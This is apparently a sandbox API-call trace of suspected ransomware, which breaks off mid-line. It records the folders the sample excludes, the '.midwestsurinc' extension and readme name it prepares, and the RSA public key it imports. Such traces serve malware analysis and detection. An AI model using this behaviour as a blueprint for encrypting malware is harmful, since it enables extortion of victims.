[0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adae0 [0224.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac1f8, cbMultiByte=25, lpWideCharStr=0x4adae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adb68 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adae0) returned 1 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad248 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adae0 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adb68) returned 1 [0224.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adb68 [0224.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac1b0, cbMultiByte=12, lpWideCharStr=0x4adb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adbf0 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adb68) returned 1 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad238 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adb68 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adbf0) returned 1 [0224.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adbf0 [0224.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac168, cbMultiByte=8, lpWideCharStr=0x4adbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adc78 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adbf0) returned 1 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad228 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adbf0 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adc78) returned 1 [0224.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adc78 [0224.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac120, cbMultiByte=6, lpWideCharStr=0x4adc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4add00 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adc78) returned 1 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad218 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adc78 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4add00) returned 1 [0224.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4add00 [0224.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac240, cbMultiByte=11, lpWideCharStr=0x4add00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4add88 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4add00) returned 1 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4add00 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad208 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ade28 [0224.889] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4add88) returned 1 [0224.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0224.889] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adeb0 [0224.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpWideCharStr=0x4adeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adf38 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adeb0) returned 1 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1e8 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adeb0 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adf38) returned 1 [0224.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adf38 [0224.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac288, cbMultiByte=11, lpWideCharStr=0x4adf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adfc0 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adf38) returned 1 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1f8 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adf38 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adfc0) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2c8) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad298) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad288) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad278) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad268) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad258) returned 1 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc08) returned 1 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f2850 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.890] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad258 [0224.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad258) returned 1 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f2850 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad258 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad268 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad278 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad288 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad618 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad298 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2e8 [0224.891] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5e8 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.891] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad258) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad268) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad278) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad288) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad288 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad278 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad268 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad258 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad298) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2c8) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5e8) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2e8) returned 1 [0224.892] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad618) returned 1 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad618 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2e8 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5e8 [0224.892] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.893] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.893] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.893] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.893] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad298 [0224.893] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad288) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad278) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad268) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad258) returned 1 [0224.893] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.893] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x8f2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0224.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0224.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=14, lpWideCharStr=0x4adfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0224.893] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x8f2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0224.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0224.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=10, lpWideCharStr=0x4ae048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0224.894] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x8f2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=15, lpWideCharStr=0x4ae0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0224.894] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x8f2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f2850, cbMultiByte=56, lpWideCharStr=0x4ae158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f5058, cbMultiByte=14, lpWideCharStr=0x4ae1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f5058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0224.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8f5058, cbMultiByte=21, lpWideCharStr=0x4ae268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0224.895] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0224.895] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0224.895] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x8f7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x8f7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0224.895] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8f7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0224.898] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x280) returned 0x8f7f40 [0224.898] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8f7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x8f7f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x8f7f40, pcbStructInfo=0x18fd24) returned 1 [0224.899] CryptImportPublicKeyInfo (in: hCryptProv=0x4f1ec8, dwCertEncodingType=0x10001, pInfo=0x8f7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x8f7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x8f7f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x4f6100) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f7f40) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f7cf8) returned 1 [0224.900] ReleaseMutex (hMutex=0xc4) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5058) returned 1 [0224.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f5058 [0224.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac900 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac900) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5058) returned 1 [0224.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f5058 [0224.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, 